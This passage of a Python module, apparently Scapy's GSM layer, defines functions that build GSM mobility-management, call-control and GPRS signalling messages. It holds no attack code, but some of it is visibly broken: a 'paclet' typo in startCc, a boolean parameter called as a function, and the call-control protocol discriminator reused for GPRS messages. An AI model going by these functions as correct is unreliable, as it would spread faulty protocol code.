= MobileId() if LocalAreaId_presence is 1: g = LocalAreaId(iei=0x13, eightbit=0x0) packet = packet / g packet = a / b / c / e / f return packet # Network to MS def cmServiceAccept(): """CM SERVICE ACCEPT Section 9.2.5""" a = TpPd(pd=0x5) b = MessageType(mesType=0x21) # 00100001 packet = a / b return packet # Network to MS def cmServicePrompt(): """CM SERVICE PROMPT Section 9.2.5a""" a = TpPd(pd=0x5) b = MessageType(mesType=0x25) # 00100101 c = PdAndSapi() packet = a / b / c return packet # Network to MS def cmServiceReject(): """CM SERVICE REJECT Section 9.2.6""" a = TpPd(pd=0x5) b = MessageType(mesType=0x22) # 00100010 c = RejectCause() packet = a / b / c return packet def cmServiceAbort(): """CM SERVICE ABORT Section 9.2.7""" a = TpPd(pd=0x5) b = MessageType(mesType=0x23) # 00100011 packet = a / b return packet # Network to MS def abort(): """ABORT Section 9.2.8""" a = TpPd(pd=0x5) b = MessageType(mesType=0x29) # 00101001 c = RejectCause() packet = a / b / c return packet def cmServiceRequest(PriorityLevel_presence=0): """CM SERVICE REQUEST Section 9.2.9""" a = TpPd(pd=0x5) b = MessageType(mesType=0x24) # 00100100 c = CmServiceTypeAndCiphKeySeqNr() e = MobileStationClassmark2() f = MobileId() packet = a / b / c / e / f if PriorityLevel_presence is 1: g = PriorityLevelHdr(ieiPL=0x8, eightBitPL=0x0) packet = packet / g return packet # Network to MS def identityRequest(): """IDENTITY REQUEST Section 9.2.10""" a = TpPd(pd=0x5) b = MessageType(mesType=0x8) # 00001000 c = IdentityTypeAndSpareHalfOctets() packet = a / b / c return packet def identityResponse(): """IDENTITY RESPONSE Section 9.2.11""" a = TpPd(pd=0x5) b = MessageType(mesType=0x9) # 00001001 c = MobileId() packet = a / b / c return packet def imsiDetachIndication(): """IMSI DETACH INDICATION Section 9.2.12""" a = TpPd(pd=0x5) b = MessageType(mesType=0x1) # 00000001 c = MobileStationClassmark1() d = MobileId() packet = a / b / c / d return packet # Network to MS def locationUpdatingAccept(MobileId_presence=0, FollowOnProceed_presence=0, CtsPermission_presence=0): """LOCATION UPDATING ACCEPT Section 9.2.13""" a = TpPd(pd=0x5) b = MessageType(mesType=0x02) # 00000010 c = LocalAreaId() packet = a / b / c if MobileId_presence is 1: d = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / d if FollowOnProceed_presence is 1: e = FollowOnProceed(ieiFOP=0xA1) packet = packet / e if CtsPermission_presence is 1: f = CtsPermissionHdr(ieiCP=0xA2, eightBitCP=0x0) packet = packet / f return packet # Network to MS def locationUpdatingReject(): """LOCATION UPDATING REJECT Section 9.2.14""" a = TpPd(pd=0x5) b = MessageType(mesType=0x4) # 0x00000100 c = RejectCause() packet = a / b / c return packet def locationUpdatingRequest(): """LOCATION UPDATING REQUEST Section 9.2.15""" a = TpPd(pd=0x5) b = MessageType(mesType=0x8) # 00001000 c = LocationUpdatingTypeAndCiphKeySeqNr() e = LocalAreaId() f = MobileStationClassmark1() g = MobileId() packet = a / b / c / e / f / g return packet # Network to MS def mmInformation(NetworkName_presence=0, NetworkName_presence1=0, TimeZone_presence=0, TimeZoneAndTime_presence=0, LsaIdentifier_presence=0): """MM INFORMATION Section 9.2.15a""" a = TpPd(pd=0x5) b = MessageType(mesType=0x32) # 00110010 packet = a / b if NetworkName_presence is 1: c = NetworkNameHdr(ieiNN=0x43, eightBitNN=0x0) packet = packet / c if NetworkName_presence1 is 1: d = NetworkNameHdr(ieiNN=0x45, eightBitNN=0x0) packet = packet / d if TimeZone_presence is 1: e = TimeZoneHdr(ieiTZ=0x46, eightBitTZ=0x0) packet = packet / e if TimeZoneAndTime_presence is 1: f = TimeZoneAndTimeHdr(ieiTZAT=0x47, eightBitTZAT=0x0) packet = packet / f if LsaIdentifier_presence is 1: g = LsaIdentifierHdr(ieiLI=0x48, eightBitLI=0x0) packet = packet / g return packet def mmStatus(): """MM STATUS Section 9.2.16""" a = TpPd(pd=0x5) b = MessageType(mesType=0x31) # 00110001 c = RejectCause() packet = a / b / c return packet # Network to MS def tmsiReallocationCommand(): """TMSI REALLOCATION COMMAND Section 9.2.17""" a = TpPd(pd=0x5) b = MessageType(mesType=0x1a) # 00011010 c = LocalAreaId() d = MobileId() packet = a / b / c / d return packet def tmsiReallocationComplete(): """TMSI REALLOCATION COMPLETE Section 9.2.18""" a = TpPd(pd=0x5) b = MessageType(mesType=0x1b) # 00011011 packet = a / b return packet def mmNull(): """MM NULL Section 9.2.19""" a = TpPd(pd=0x5) b = MessageType(mesType=0x30) # 00110000 packet = a / b return packet # # 9.3 Messages for circuit-switched call control # # Network to MS def alertingNetToMs(Facility_presence=0, ProgressIndicator_presence=0, UserUser_presence=0): """ALERTING Section 9.3.1.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 00000001 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C) packet = packet / c if ProgressIndicator_presence is 1: d = ProgressIndicatorHdr(ieiPI=0x1E) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E) packet = packet / e return packet def alertingMsToNet(Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """ALERTING Section 9.3.1.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 00000001 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / c if UserUser_presence is 1: d = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / d if SsVersionIndicator_presence is 1: e = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / e return packet def callConfirmed(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Cause_presence=0, CallControlCapabilities_presence=0): """CALL CONFIRMED Section 9.3.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x8) # 00001000 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Cause_presence is 1: f = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / f if CallControlCapabilities_presence is 1: g = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0) packet = packet / g return packet # Network to MS def callProceeding(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Facility_presence=0, ProgressIndicator_presence=0, PriorityLevel_presence=0): """CALL PROCEEDING Section 9.3.3""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2) # 00000010 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Facility_presence is 1: f = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / f if ProgressIndicator_presence is 1: g = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / g if PriorityLevel_presence is 1: h = PriorityLevelHdr(ieiPL=0x80, eightBitPL=0x0) packet = packet / h return packet # Network to MS def congestionControl(Cause_presence=0): """CONGESTION CONTROL Section 9.3.4""" a = TpPd(pd=0x3) b = MessageType(mesType=0x39) # 00111001 c = CongestionLevelAndSpareHalfOctets() packet = a / b / c if Cause_presence is 1: e = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / e return packet # Network to MS def connectNetToMs(Facility_presence=0, ProgressIndicator_presence=0, ConnectedNumber_presence=0, ConnectedSubaddress_presence=0, UserUser_presence=0): """CONNECT Section 9.3.5.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x7) # 00000111 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / c if ProgressIndicator_presence is 1: d = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / d if ConnectedNumber_presence is 1: e = ConnectedNumberHdr(ieiCN=0x4C, eightBitCN=0x0) packet = packet / e if ConnectedSubaddress_presence is 1: f = ConnectedSubaddressHdr(ieiCS=0x4D, eightBitCS=0x0) packet = packet / f if UserUser_presence is 1: g = UserUserHdr(ieiUU=0x7F, eightBitUU=0x0) packet = packet / g return packet def connectMsToNet(Facility_presence=0, ConnectedSubaddress_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """CONNECT Section 9.3.5.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x7) # 00000111 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / c if ConnectedSubaddress_presence is 1: d = ConnectedSubaddressHdr(ieiCS=0x4D, eightBitCS=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7F, eightBitUU=0x0) packet = packet / e if SsVersionIndicator_presence is 1: f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / f return packet def connectAcknowledge(): """CONNECT ACKNOWLEDGE Section 9.3.6""" a = TpPd(pd=0x3) b = MessageType(mesType=0xf) # 00001111 packet = a / b return packet # Network to MS def disconnectNetToMs(Facility_presence=0, ProgressIndicator_presence=0, UserUser_presence=0, AllowedActions_presence=0): """DISCONNECT Section 9.3.7.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x25) # 00100101 c = Cause() packet = a / b / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if ProgressIndicator_presence is 1: e = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / e if UserUser_presence is 1: f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / f if AllowedActions_presence is 1: g = AllowedActionsHdr(ieiAA=0x7B, eightBitAA=0x0) packet = packet / g return packet def disconnectMsToNet(Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """Disconnect Section 9.3.7.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x25) # 00100101 c = Cause() packet = a / b / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / e if SsVersionIndicator_presence is 1: f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / f return packet def emergencySetup(BearerCapability_presence=0): """EMERGENCY SETUP Section 9.3.8""" a = TpPd(pd=0x3) b = MessageType(mesType=0xe) # 00001110 packet = a / b if BearerCapability_presence is 1: c = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / c return packet # Network to MS def facilityNetToMs(): """FACILITY Section 9.3.9.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3a) # 00111010 c = Facility() packet = a / b / c return packet def facilityMsToNet(SsVersionIndicator_presence=0): """FACILITY Section 9.3.9.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3a) # 00111010 c = Facility() packet = a / b / c if SsVersionIndicator_presence is 1: d = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / d return packet def hold(): """HOLD Section 9.3.10""" a = TpPd(pd=0x3) b = MessageType(mesType=0x18) # 00011000 packet = a / b return packet # Network to MS def holdAcknowledge(): """HOLD ACKNOWLEDGE Section 9.3.11""" a = TpPd(pd=0x3) b = MessageType(mesType=0x19) # 00011001 packet = a / b return packet # Network to MS def holdReject(): """HOLD REJECT Section 9.3.12""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1a) # 00011010 c = Cause() packet = a / b / c return packet def modify(LowLayerCompatibility_presence=0, HighLayerCompatibility_presence=0, ReverseCallSetupDirection_presence=0): """MODIFY Section 9.3.13""" a = TpPd(pd=0x3) b = MessageType(mesType=0x17) # 00010111 c = BearerCapability() packet = a / b / c if LowLayerCompatibility_presence is 1: d = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / d if HighLayerCompatibility_presence is 1: e = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / e if ReverseCallSetupDirection_presence is 1: f = ReverseCallSetupDirectionHdr(ieiRCSD=0xA3) packet = packet / f return packet def modifyComplete(LowLayerCompatibility_presence=0, HighLayerCompatibility_presence=0, ReverseCallSetupDirection_presence=0): """MODIFY COMPLETE Section 9.3.14""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1f) # 00011111 c = BearerCapability() packet = a / b / c if LowLayerCompatibility_presence is 1: d = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / d if HighLayerCompatibility_presence is 1: e = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / e if ReverseCallSetupDirection_presence is 1: f = ReverseCallSetupDirection(ieiRCSD=0xA3) packet = packet / f return packet def modifyReject(LowLayerCompatibility_presence=0, HighLayerCompatibility_presence=0): """MODIFY REJECT Section 9.3.15""" a = TpPd(pd=0x3) b = MessageType(mesType=0x13) # 00010011 c = BearerCapability() d = Cause() packet = a / b / c / d if LowLayerCompatibility_presence is 1: e = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / e if HighLayerCompatibility_presence is 1: f = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / f return packet def notify(): """NOTIFY Section 9.3.16""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3e) # 00111110 c = NotificationIndicator() packet = a / b / c return packet # Network to MS def progress(UserUser_presence=0): """PROGRESS Section 9.3.17""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3) # 00000011 c = ProgressIndicator() packet = a / b / c if UserUser_presence is 1: d = UserUserHdr() packet = packet / d return packet # Network to MS def ccEstablishment(): """CC-ESTABLISHMENT Section 9.3.17a""" a = TpPd(pd=0x3) b = MessageType(mesType=0x4) # 00000100 c = SetupContainer() packet = a / b / c return packet def ccEstablishmentConfirmed(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Cause_presence=0): """CC-ESTABLISHMENT CONFIRMED Section 9.3.17b""" a = TpPd(pd=0x3) b = MessageType(mesType=0x6) # 00000110 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Cause_presence is 1: f = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / f return packet # Network to MS def releaseNetToMs(): """RELEASE Section 9.3.18.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2d) # 00101101 c = CauseHdr(ieiC=0x08, eightBitC=0x0) d = CauseHdr(ieiC=0x08, eightBitC=0x0) e = FacilityHdr(ieiF=0x1C, eightBitF=0x0) f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = a / b / c / d / e / f return packet def releaseMsToNet(Cause_presence=0, Cause_presence1=0, Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """RELEASE Section 9.3.18.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2d) # 00101101 packet = a / b if Cause_presence is 1: c = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / c if Cause_presence1 is 1: d = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / d if Facility_presence is 1: e = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / e if UserUser_presence is 1: f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / f if SsVersionIndicator_presence is 1: g = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / g return packet # Network to MS def recall(): """RECALL Section 9.3.18a""" a = TpPd(pd=0x3) b = MessageType(mesType=0xb) # 00001011 c = RecallType() d = Facility() packet = a / b / c / d return packet # Network to MS def releaseCompleteNetToMs(Cause_presence=0, Facility_presence=0, UserUser_presence=0): """RELEASE COMPLETE Section 9.3.19.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2a) # 00101010 packet = a / b if Cause_presence is 1: c = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / e return packet def releaseCompleteMsToNet(Cause_presence=0, Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """RELEASE COMPLETE Section 9.3.19.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2a) # 00101010 packet = a / b if Cause_presence is 1: c = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / e if SsVersionIndicator_presence is 1: f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / f return packet def retrieve(): """RETRIEVE Section 9.3.20""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1c) # 00011100 packet = a / b return packet # Network to MS def retrieveAcknowledge(): """RETRIEVE ACKNOWLEDGE Section 9.3.21""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1d) # 00011101 packet = a / b return packet # Network to MS def retrieveReject(): """RETRIEVE REJECT Section 9.3.22""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1e) # 00011110 c = Cause() packet = a / b / c return packet # Network to MS def setupMobileTerminated(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Facility_presence=0, ProgressIndicator_presence=0, Signal_presence=0, CallingPartyBcdNumber_presence=0, CallingPartySubaddress_presence=0, CalledPartyBcdNumber_presence=0, CalledPartySubaddress_presence=0, # RecallType_presence=0, RedirectingPartyBcdNumber_presence=0, RedirectingPartySubaddress_presence=0, RepeatIndicator_presence1=0, LowLayerCompatibility_presence=0, LowLayerCompatibility_presence1=0, RepeatIndicator_presence2=0, HighLayerCompatibility_presence=0, HighLayerCompatibility_presence1=0, UserUser_presence=0, PriorityLevel_presence=0, AlertingPattern_presence=0): """SETUP Section 9.3.23.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Facility_presence is 1: f = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / f if ProgressIndicator_presence is 1: g = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / g if Signal_presence is 1: h = SignalHdr(ieiS=0x34, eightBitS=0x0) packet = packet / h if CallingPartyBcdNumber_presence is 1: i = CallingPartyBcdNumberHdr(ieiCPBN=0x5C, eightBitCPBN=0x0) packet = packet / i if CallingPartySubaddress_presence is 1: j = CallingPartySubaddressHdr(ieiCPS=0x5D, eightBitCPS=0x0) packet = packet / j if CalledPartyBcdNumber_presence is 1: k = CalledPartyBcdNumberHdr(ieiCPBN=0x5E, eightBitCPBN=0x0) packet = packet / k if CalledPartySubaddress_presence is 1: l = CalledPartySubaddressHdr(ieiCPS=0x6D, eightBitCPS=0x0) packet = packet / l if RedirectingPartyBcdNumber_presence is 1: n = RedirectingPartyBcdNumberHdr(ieiRPBN=0x74, eightBitRPBN=0x0) packet = packet / n if RedirectingPartySubaddress_presence is 1: m = RedirectingPartySubaddress_presence(ieiRPBN=0x75, eightBitRPBN=0x0) packet = packet / m if RepeatIndicator_presence1 is 1: o = RepeatIndicatorHdr(ieiRI=0xD0, eightBitRI=0x0) packet = packet / o if LowLayerCompatibility_presence is 1: p = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / p if LowLayerCompatibility_presence1 is 1: q = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / q if RepeatIndicator_presence2 is 1: r = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / r if HighLayerCompatibility_presence is 1: s = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / s if HighLayerCompatibility_presence1 is 1: t = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / t if UserUser_presence is 1: u = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / u if PriorityLevel_presence is 1: v = PriorityLevelHdr(ieiPL=0x8, eightBitPL=0x0) packet = packet / v if AlertingPattern_presence is 1: w = AlertingPatternHdr(ieiAP=0x19, eightBitAP=0x0) packet = packet / w return packet def setupMobileOriginated(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Facility_presence=0, CallingPartySubaddress_presence=0, CalledPartyBcdNumber_presence=0, CalledPartySubaddress_presence=0, RepeatIndicator_presence1=0, LowLayerCompatibility_presence=0, LowLayerCompatibility_presence1=0, RepeatIndicator_presence2=0, HighLayerCompatibility_presence=0, HighLayerCompatibility_presence1=0, UserUser_presence=0, SsVersionIndicator_presence=0, ClirSuppression_presence=0, ClirInvocation_presence=0, CallControlCapabilities_presence=0, Facility_presence1=0, Facility_presence2=0): """SETUP Section 9.3.23.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Facility_presence is 1: f = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / f if CallingPartySubaddress_presence is 1: g = CallingPartySubaddressHdr(ieiCPS=0x5D, eightBitCPS=0x0) packet = packet / g if CalledPartyBcdNumber_presence is 1: h = CalledPartyBcdNumberHdr(ieiCPBN=0x5E, eightBitCPBN=0x0) packet = packet / h if CalledPartySubaddress_presence is 1: i = CalledPartySubaddressHdr(ieiCPS=0x6D, eightBitCPS=0x0) packet = packet / i if RepeatIndicator_presence1 is 1: j = RepeatIndicatorHdr(ieiRI=0xD0, eightBitRI=0x0) packet = packet / j if LowLayerCompatibility_presence is 1: k = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / k if LowLayerCompatibility_presence1 is 1: l = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / l if RepeatIndicator_presence2 is 1: m = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / m if HighLayerCompatibility_presence is 1: n = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / n if HighLayerCompatibility_presence1 is 1: o = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / o if UserUser_presence is 1: p = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / p if SsVersionIndicator_presence is 1: q = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / q if ClirSuppression_presence is 1: r = ClirSuppressionHdr(ieiCS=0xA1, eightBitCS=0x0) packet = packet / r if ClirInvocation_presence is 1: s = ClirInvocationHdr(ieiCI=0xA2, eightBitCI=0x0) packet = packet / s if CallControlCapabilities_presence is 1: t = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0) packet = packet / t if Facility_presence1 is 1: u = FacilityHdr(ieiF=0x1D, eightBitF=0x0) packet = packet / u if Facility_presence2 is 1: v = FacilityHdr(ieiF=0x1B, eightBitF=0x0) packet = packet / v return packet def startCc(CallControlCapabilities_presence=0): """START CC Section 9.3.23a""" a = TpPd(pd=0x3) b = MessageType(mesType=0x9) # 00001001 packet = a / b if CallControlCapabilities_presence is 1: c = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0) packet = paclet / c return packet def startDtmf(): """START DTMF Section 9.3.24""" a = TpPd(pd=0x3) b = MessageType(mesType=0x35) # 00110101 c = KeypadFacilityHdr(ieiKF=0x2C, eightBitKF=0x0) packet = a / b / c return packet # Network to MS def startDtmfAcknowledge(): """START DTMF ACKNOWLEDGE Section 9.3.25""" a = TpPd(pd=0x3) b = MessageType(mesType=0x32) # 00110010 c = KeypadFacilityHdr(ieiKF=0x2C, eightBitKF=0x0) packet = a / b / c return packet # Network to MS def startDtmfReject(): """ START DTMF REJECT Section 9.3.26""" a = TpPd(pd=0x3) b = MessageType(mesType=0x37) # 00110111 c = Cause() packet = a / b / c return packet def status(AuxiliaryStates_presence=0): """STATUS Section 9.3.27""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3d) # 00111101 c = Cause() d = CallState() packet = a / b / c / d if AuxiliaryStates_presence is 1: e = AuxiliaryStatesHdr(ieiAS=0x24, eightBitAS=0x0) packet = packet / e return packet def statusEnquiry(): """STATUS ENQUIRY Section 9.3.28""" a = TpPd(pd=0x3) b = MessageType(mesType=0x34) # 00110100 packet = a / b return packet def stopDtmf(): """STOP DTMF Section 9.3.29""" a = TpPd(pd=0x3) b = MessageType(mesType=0x31) # 00110001 packet = a / b return packet # Network to MS def stopDtmfAcknowledge(): """STOP DTMF ACKNOWLEDGE Section 9.3.30""" a = TpPd(pd=0x3) b = MessageType(mesType=0x32) # 00110010 packet = a / b return packet def userInformation(MoreData_presence=0): """USER INFORMATION Section 9.3.31""" a = TpPd(pd=0x3) b = MessageType(mesType=0x20) # 000100000 c = UserUser() packet = a / b / c if MoreData_presence is 1: d = MoreDataHdr(ieiMD=0xA0, eightBitMD=0x0) packet = packet / d return packet # # 9.4 GPRS Mobility Management Messages # def attachRequest(PTmsiSignature_presence=0, GprsTimer_presence=0, TmsiStatus_presence=0): """ATTACH REQUEST Section 9.4.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 0000001 c = MsNetworkCapability() d = AttachTypeAndCiphKeySeqNr() f = DrxParameter() g = MobileId() h = RoutingAreaIdentification() i = MsRadioAccessCapability() packet = a / b / c / d / f / g / h / i if PTmsiSignature_presence is 1: j = PTmsiSignature(ieiPTS=0x19) packet = packet / j if GprsTimer_presence is 1: k = GprsTimer(ieiGT=0x17) packet = packet / k if TmsiStatus_presence is 1: l = TmsiStatus(ieiTS=0x9) packet = packet / l return packet def attachAccept(PTmsiSignature_presence=0, GprsTimer_presence=0, MobileId_presence=0, MobileId_presence1=0, GmmCause_presence=0): """ATTACH ACCEPT Section 9.4.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2) # 00000010 c = AttachResult() d = ForceToStandby() e = GprsTimer() f = RadioPriorityAndSpareHalfOctets() h = RoutingAreaIdentification() packet = a / b / c / d / e / f / h if PTmsiSignature_presence is 1: i = PTmsiSignature(ieiPTS=0x19) packet = packet / i if GprsTimer_presence is 1: j = GprsTimer(ieiGT=0x17) packet = packet / j if MobileId_presence is 1: k = MobileIdHdr(ieiMI=0x18, eightBitMI=0x0) packet = packet / k if MobileId_presence1 is 1: l = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0) packet = packet / l if GmmCause_presence is 1: m = GmmCause(ieiGC=0x25) packet = packet / m return packet def attachComplete(): """ATTACH COMPLETE Section 9.4.3""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3) # 00000011 packet = a / b return packet def attachReject(): """ATTACH REJECT Section 9.4.4""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 00000001 c = GmmCause() packet = a / b / c return packet def detachRequest(GmmCause_presence=0): """DETACH REQUEST Section 9.4.5""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 c = DetachTypeAndForceToStandby() packet = a / b / c if GmmCause_presence is 1: e = GmmCause(ieiGC=0x25) packet = packet / e return packet def detachRequestMsOriginating(): """DETACH REQUEST Section 9.4.5.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 c = DetachTypeAndSpareHalfOctets() packet = a / b / c return packet def detachAcceptMsTerminated(): """DETACH ACCEPT Section 9.4.6.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x6) # 00000110 packet = a / b return packet def detachAcceptMsOriginating(): """DETACH ACCEPT Section 9.4.6.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x6) # 00000110 c = ForceToStandbyAndSpareHalfOctets() packet = a / b / c return packet def ptmsiReallocationCommand(PTmsiSignature_presence=0): """P-TMSI REALLOCATION COMMAND Section 9.4.7""" a = TpPd(pd=0x3) b = MessageType(mesType=0x10) # 00010000 c = MobileId() d = RoutingAreaIdentification() e = ForceToStandbyAndSpareHalfOctets() packet = a / b / c / d / e if PTmsiSignature_presence is 1: g = PTmsiSignature(ieiPTS=0x19) packet = packet / g return packet def ptmsiReallocationComplete(): """P-TMSI REALLOCATION COMPLETE Section 9.4.8""" a = TpPd(pd=0x3) b = MessageType(mesType=0x11) # 00010001 packet = a / b return packet def authenticationAndCipheringRequest( 